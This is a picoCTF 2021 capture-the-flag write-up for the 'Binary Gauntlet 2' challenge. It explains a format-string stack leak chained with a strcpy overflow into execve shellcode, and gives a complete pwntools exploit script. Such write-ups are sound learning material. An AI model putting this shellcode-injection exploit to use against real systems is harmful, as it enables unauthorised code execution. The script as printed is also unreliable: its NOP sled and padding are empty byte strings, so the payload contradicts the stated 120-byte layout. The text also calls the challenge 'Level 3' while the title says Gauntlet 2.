Binary Gauntlet 2 picoCTF 2021 Solution

Published: April 2, 2026

Description

Level 3 of Binary Gauntlet. NX is disabled so the stack is executable, but ASLR is on, which means the stack moves every run. Use the format string vulnerability to leak a stack address, compute where your buffer landed, then overflow the return address to jump straight to your shellcode.

Download the binary, make it executable, and check its mitigations with checksec.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Check mitigations and understand the two bugs
    Observation
    I noticed the challenge description mentioned NX disabled and an unbounded strcpy, which suggested confirming these mitigations with checksec before committing to a shellcode injection strategy instead of ret2libc.
    Run checksec to confirm NX is disabled, no stack canary is present, and PIE is off. The binary has two classic vulnerabilities: printf(s) with no format specifier, and an unbounded strcpy into a 104-byte stack buffer. The overflow offset from the start of the buffer to the saved return address is 120 bytes.
    bash
    checksec --file=./vuln
    bash
    # Expected: NX disabled, No canary, No PIE
    What didn't work first

    Tried: Assume NX is enabled and jump straight to planning a ret2libc attack based on the category label alone.

    checksec will clearly show 'NX: disabled' on this binary. Ret2libc requires NX to be on (because you need to avoid executing stack data). When NX is off, shellcode injection is simpler and more direct - ret2libc adds unnecessary complexity and will fail if you try to call system() without first leaking a libc base address that you do not need here.

    Tried: Trust the local offset (0x168) when running against the remote instance.

    The remote server has a different environment variable layout and argument count, which shifts the stack relative to the leaked pointer. Using 0x168 on the remote yields a computed buffer address that is 0x10 bytes too high, causing the return address to land in the middle of the NOP sled at best or in garbage at worst. Always verify the offset constant against the actual target environment.

    Learn more

    Why NX matters here. NX (Non-eXecute) marks the stack as non-executable. When NX is off, bytes you write into a stack buffer are treated as valid machine code by the CPU. This makes shellcode injection the simplest path: put your shellcode in the buffer, then redirect the return address to it. On Gauntlet 3 NX is enabled, which closes this door and forces a ret2libc approach instead.

    The two bugs. First, printf(s) passes your input directly as the format string instead of using printf("%s", s). Any format specifiers in your input are interpreted by printf, letting you read values off the stack. Second, strcpy(dest, s) copies your input into a 104-byte buffer without any length check, so sending 120+ bytes overwrites the saved return address.

    Why ASLR still matters. Even with NX off, ASLR randomizes the stack base every run. You cannot hardcode your buffer's address because it changes. The format string leak exists precisely to defeat this: one run reads the current stack address from printf, and you compute your buffer's exact location from it before sending the overflow payload.

  2. Step 2
    Leak a stack address with %6$p
    Observation
    I noticed the binary calls printf(s) without a format specifier, which suggested exploiting this format string vulnerability to leak a stack pointer and defeat ASLR before attempting the overflow.
    Send the string '%6$p' (or a run of '%p.' separators) as input to the format string bug. On this binary, position 6 holds a stack pointer that sits a constant 0x168 bytes above the start of the destination buffer locally (0x158 on the remote). Capture that value and subtract the offset to compute the exact runtime address of the buffer.
    bash
    echo '%p.%p.%p.%p.%p.%p.' | ./vuln   # print first six stack values
    bash
    echo '%6$p' | ./vuln                  # print position 6 alone
    What didn't work first

    Tried: Use %s instead of %p to read stack values during the leak probe.

    %s tells printf to dereference the stack value as a char pointer and print the string at that address. If the stack value does not point to readable memory, the process segfaults immediately. %p prints the raw pointer value in hex, which is exactly what you need to compute the buffer address - never use %s for address leaking.

    Tried: Assume position 6 holds the buffer address directly and skip computing an offset.

    The leaked value at position 6 is a saved stack pointer from a calling frame, not a pointer to your input buffer itself. The two addresses are related by a constant offset (0x158 remote, 0x168 local) that you must subtract. Treating the raw leaked value as the buffer address sends the return address into an unrelated stack region, causing a segfault or a jump to unmapped memory instead of your shellcode.

    Learn more

    How printf reads its arguments. On x86-64, the first five variadic arguments come from registers (rsi, rdx, rcx, r8, r9), and then printf falls back to the stack. So %6$p reads the value sitting at [rsp], the first stack slot beyond the register arguments. On this binary that slot holds a saved frame pointer or stack pointer that happens to be a fixed offset above your input buffer.

    printf("%1$p %2$p %3$p %4$p %5$p %6$p")
             |    |    |    |    |    |
             rsi  rdx  rcx  r8   r9  [rsp]   <- stack value here

    Positional specifiers (%N$p) let you pick a specific argument slot without consuming preceding ones. They are part of POSIX but work in glibc printf. Using them you can probe any stack slot without having to pad with dummy %p specifiers.

    Finding the constant offset. Run the exploit locally, print the leaked value and the address of the buffer (from GDB or by temporarily printing it in the binary), and compute their difference. On this challenge the difference is 0x168 locally and 0x158 on the remote server. These differ because the remote environment has a slightly different stack layout (different environment variables or arguments), so always verify against the remote.

  3. Step 3
    Build the shellcode payload and overflow the return address
    Observation
    I noticed the leaked stack pointer provided a fixed-offset reference to the 104-byte buffer and NX was disabled, which suggested crafting a NOP sled plus execve shellcode and overflowing the 120-byte return address slot with the computed buffer address.
    With the buffer address in hand, craft a payload: 20 bytes of NOP instructions (0x90) as a landing sled, followed by a 24-byte x86-64 execve shellcode that spawns /bin/sh, then padding with more NOPs to reach byte 120, and finally the 8-byte little-endian buffer address to overwrite the saved return address. Aim the return address at the start of your NOP sled.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # Step 1: leak the stack address via the format string bug
    p.sendline(b'%6$p')
    leaked = int(p.recvline().strip(), 16)
    
    # Step 2: compute where the input buffer starts
    # The leaked value is 0x158 above the buffer on the remote
    buf_addr = leaked - 0x158
    
    log.info(f"Leaked stack value: {hex(leaked)}")
    log.info(f"Computed buffer address: {hex(buf_addr)}")
    
    # Step 3: build the payload
    #   [20 NOPs] + [shellcode ~24 bytes] + [padding to 120] + [buf_addr]
    shellcode = asm(shellcraft.amd64.linux.sh())  # pwntools built-in execve shellcode
    nop_sled  = b'' * 20
    padding   = b'' * (120 - len(nop_sled) - len(shellcode))
    payload   = nop_sled + shellcode + padding + p64(buf_addr)
    
    p.sendline(payload)
    p.interactive()
    EOF

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Aim the return address at buf_addr + 20 to skip straight to the shellcode and omit the NOP sled entirely.

    Without a NOP sled, the return address must be byte-perfect. Even a one-byte error in the computed offset lands in the middle of a shellcode instruction, producing an illegal opcode fault or executing garbage. The 20-byte sled gives you a 20-byte window of acceptable landing addresses, which is essential when the offset constant has a small uncertainty between local and remote environments.

    Tried: Send both the leak probe and the overflow payload in a single sendline call combined with a format specifier prefix.

    The program passes your input to printf first (the leak stage) and then passes the same or a second input to strcpy (the overflow stage). Combining them into one line means printf interprets the overflow payload bytes as format string data, corrupting the output and preventing you from parsing the leaked address. The pwntools script uses two separate sendline calls precisely because the leak read and the overflow read are two distinct program interactions.

    Learn more

    NOP sled purpose. A NOP (0x90) instruction does nothing except advance the instruction pointer by one byte. A sled of NOPs before the shellcode means the return address only needs to land anywhere inside the sled to slide into the shellcode. This forgives small miscalculations in the offset constant.

    Stack layout at the moment vuln() returns:

    low addr -> buf[0]    : 0x90 0x90 ... (NOP sled, 20 bytes)
                buf[20]   : shellcode (execve /bin/sh, ~24 bytes)
                buf[44..] : 0x90 0x90 ... (padding to offset 120)
                buf[120]  : &buf[0] in little-endian (8 bytes)
                            ^-- overwrites saved return address
    high addr

    When vuln() executes ret, it pops the saved return address (now &buf[0]) into rip and jumps there. The CPU begins executing the NOP sled, slides into the shellcode, and runs execve("/bin/sh", NULL, NULL) to give you a shell.

    Why two separate inputs. The program reads your input once, passes it to printf (the leak), then calls strcpy into the buffer (the overflow). Because the program reads one line and uses it twice, you send the leak probe and the overflow payload as two separate sendline calls - the first for the format string stage, the second for the overflow stage. If the program only reads once and does both immediately, combine them into a single payload.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full workflow behind these techniques.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{...}

NX is disabled on Gauntlet 2, so the stack is executable. The format string bug (printf without a specifier) leaks a stack address at position 6 (%6$p). Subtract 0x158 (remote) or 0x168 (local) to find the buffer, inject execve shellcode with a NOP sled, and overflow the return address with the computed buffer address. The flag is a fully randomized per-instance 32-char hex hash (format: picoCTF{<32 hex chars>}); run the exploit against your assigned instance to retrieve your exact flag.

Key takeaway

Format string vulnerabilities arise when user input is passed directly as the first argument to printf-family functions, letting an attacker supply their own %p or %N$p specifiers to read values off the stack. Combining a format string leak with a separate buffer overflow is a two-stage exploit pattern: the first stage defeats ASLR by revealing a runtime address, and the second stage uses that address to aim the overflow payload precisely. This chaining of a disclosure bug into a control-flow bug appears throughout real-world exploitation, from browser sandbox escapes to kernel privilege escalation.

Related reading

Want more picoCTF 2021 writeups?

Tools used in this challenge

What to try next